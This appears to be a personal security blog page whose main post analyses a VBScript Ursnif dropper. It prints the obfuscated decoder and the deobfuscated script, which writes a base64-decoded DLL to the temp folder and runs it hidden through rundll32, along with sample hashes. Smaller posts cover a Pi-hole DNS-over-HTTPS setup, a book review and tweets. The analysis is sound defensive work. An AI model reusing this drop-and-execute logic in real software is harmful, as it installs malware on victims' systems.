. Skip to main content

(ˈpiːtə(r)), n, Dutch Computer geek, Father of 3 boys, Living together with @Chrizzzz. Working as a security consultant at @Atos, CISSP certified, Opinions are my own.







For anyone using @countercept's Snake malware storeage zoo, I've build a interface scale to connect to @abuse_ch's MalwareBazaar - https://github.com/srcr/malwarebazaar-scale

Short VisualBasic #Ursnif dropper write-up

3 min read

Here is my first post of a short investigation into a malicious script that I came across.

The sample was posted to the URLhaus.abuse.ch list. This is probably part of a phising mail which directs you to download the zip file and open it.

When you do this, the VisualBasic script inside the zip archive will typically be launched and the encoded payload will be executed on the system.

After unzipping we can have a first look at the .vbs script

The malicious script:

  • A large string ending in "AAAAMAAQqVT" I'm already assuming a reversed PE executable, when you base64 encode the MZ header it results in something like TVxx.
  • Two arrays
  • A short code block to decode the array's in something useful
for tzZFStIadHqvhzdvlvlbpEXDSYhoiHcgeDgEKN = lbound(wGPjfJzXJQxGLsJWnaUekdibWhoIi) to ubound(dVMYfYdJEGreGsr) : YVlUhhqxZMAvjAYHiFNxxrkWWvzkbiFf = chr(sqr(wGPjfJzXJQxGLsJWnaUekdibWhoIi(tzZFStIadHqvhzdvlvlbpEXDSYhoiHcgeDgEKN)) - sqr(dVMYfYdJEGreGsr(tzZFStIadHqvhzdvlvlbpEXDSYhoiHcgeDgEKN))) : HoVEFmZZVAZqcifFckqTROBxVyUmGActyC = HoVEFmZZVAZqcifFckqTROBxVyUmGActyC & YVlUhhqxZMAvjAYHiFNxxrkWWvzkbiFf : next : execute(HoVEFmZZVAZqcifFckqTROBxVyUmGActyC)

A little rewriting and making it saver by echo the output instead of execute it, results in the following VBS code :

for Value = lbound(ArrayOne) to ubound(ArrayTwo)
    Result = chr(sqr(ArrayOne(Value)) - sqr(ArrayTwo(Value)))
    ConcatResult = ConcatResult & Result
WScript.Echo ConcatResult

Running this result in the following script.

on error resume next
set WshShell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Path = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\Adobe.url"
set oUrlLink = WshShell.CreateShortcut(Path)
oUrlLink.TargetPath = "http://adobe.com"
if  (FSO.FileExists(Path))  Then
    WScript.Echo "Error!"
    xml = "Msxml2.DOMDocument"
    ws = "WScript.Shell"
    bin = "bin.base64"
    sa = "shell.application"
    bs = "base64"
    db = "Adodb.Stream"
    Set wshs = createobject(ws)
    Set sh = createobject(sa)
    filepath = wshs.ExpandEnvironmentStrings("%TEMP%") & "\SHCSdw.dll"
end if

Set oXML = CreateObject(xml)
Set oNode = oXML.CreateElement(bs)
oNode.dataType = bin
oNode.text = strreverse(code)

Set BinaryStream = CreateObject(db)
BinaryStream.Type = 1
BinaryStream.Write oNode.nodeTypedValue
BinaryStream.SaveToFile filepath
sh.ShellExecute "cmd.exe", "/c everybody shit fuck & runDll32 "& filepath &",DllRegisterServer", "", "open", 0

The script places a Adobe.url in the temp folder pointing to http://adobe.com
and it like I already suspected does a string reverse on the code variable - strreverse(code)
passing this via the base64 decoder resullts in a PE executable on the filesystem in your temp folder with the name SHCSdw.dll

The dropped file SHCSdw.dll is a Ursnif sample that was compiled at 2020-02-24 09:57:57, if you can believe this data. The sample is available in Virustotal.


File Type sha256
dokument9055.zip Zip archive data bde9ee61351d9c61ddf2e7fc382426a5301f1155e1197f2a3d47468db4486d9c
dokument9055.vbs VisualBasic script 98b3160c553c229cb9be77de3791398aed3cce79e7935d96db9e32bf353b9624
SHCSdw.dll PE32 executable (DLL) bc8da5ad4010226376c376b2d164cfa4e073a0f6ef7761e9f4864a46a8cb9b32

Great thread and dig through by @fs0c131y: In to the creators of the app used to report results during the - https://threadreaderapp.com/thread/1224628685808066565.html

Sandworm: A New Era of Cyberwar and the Hunt for the Kremlin's Most Dangerous Hackers by Andy Greenberg

1 min read

Sandworm: A New Era of Cyberwar and the Hunt for the Kremlin's Most Dangerous Hackers

Sandworm: A New Era of Cyberwar and the Hunt for the Kremlin's Most Dangerous Hackers by Andy Greenberg
My rating: 5 of 5 stars



It came recommended in the Darknet Diaries Podcast ep 54: Notpetya by Jack Rhysider.
And as far as I'm concerned this is a must read for anyone working in Cybersecurity. It gives so much detail about the Russian government hacking techniques and motivations.
I already knew most of the separate attacks described in the book but getting the big picture how all these are related is an eye opener.

View all my reviews

must be underpinned by robust ethics. AI in is as much about what it should do, as what it can do. @ZeinaZakhour discusses the core elements of a security by design approach https://atos.net/en/blog/security-by-design-the-new-cyber-security-paradigm

Stagering numbers, from January to August 2019, around the world, there were more than 518,223 cases of stalkerware precense detected. - https://securelist.com/the-state-of-stalkerware-in-2019/93634

My @UbisoftUplay password was "2e0eTG180rCdigFh" but because you cannot paste it I changed it to "Ubisoft8" /cc @ubisoftsupport

DNS-over-HTTPS in the Pi-hole

1 min read

On the Raspberry pi install the dnss package

apt install dnss

Edit the settings to make it listsn on port 5053, normally it listens on 53

vi /etc/systemd/system/sockets.target.wants/dnss.socket

# Sockets for dnss.
# This lets dnss run unprivileged.
# We typically want one UDP and one TCP socket.



And restart the service, because the pi-hole is running starting probably failed right after installation, port 53 is in use

systemctl restart dnss.socket

In the Pi-hole admin web interface under settings find the tab DNS and adjust the upstream DNS Server to the dnss installation

Pi-Hole - Upstream DNS Servers

And we're good to go. dnss uses by default dns.google.com.



Listening to my daily Podcast list: "welcome to the MONDAY may 3rd 2019 edition of the SANS Stormcast" by @johullrich 😂

"Je kunt je bestelling direct ophalen bij een van de 3.500 oplaad- en ophaalautomaten in Nederland." - Mag ik het huis uit om digitale informatie op te halen. Dit is toch totaal kansloos. /cc @OVchipkaart

Kom ik net tot de ontdekking dat zoon lief de OpenDNS FamilyShield DNS instellingen omzeilt met de Tor Browser. Dat was niet de bedoeling 🤓

Nice writeup by @GossiTheDog, I watched this unfold this afternoon, seeing 215 ETH siphoned off via various Ethereum wallets. https://doublepulsar.com/hijack-of-amazons-internet-domain-service-used-to-reroute-web-traffic-for-t...

Vanmorgen in dichte 🌫 naar werk gereden. Zeker 20 auto's gezien met alleen dagrijverlichting. Mensen wees toch zichtbaar. /cc @POL_DeMarne

CPE Webcasts and Podcasts

1 min read

Since I'm a certified CISSP I need to reach my yearly CPE goal. For this I watch and listen to various web- and podcast. At the moment this is what is on my diet.

Stormcast, Daily Information Security Podcast - Stormcasts are daily 5-10 minute information security threat updates from the SANS Internet Storm Center.

Digital Shadows ShadowTalk - Digital Shadows monitors and manages an organization’s digital risk, providing relevant threat intelligence across the widest range of data sources within the open, deep, and dark web to protect their brand, and reputation.

Troy Hunt's Weekly update - Troy Hunt is the owner of Have I been pwned? (HIBP), blogger, Microsoft regional director and MVP and speaks at security events and give security training.

Paul’s Security Weekly - Weekly security roundup by the security weekly team discussing the security high- and lowlights.

FireEye State of The Hack - Weekly (?) show by FireEye with your update of the various APT and FIN groups.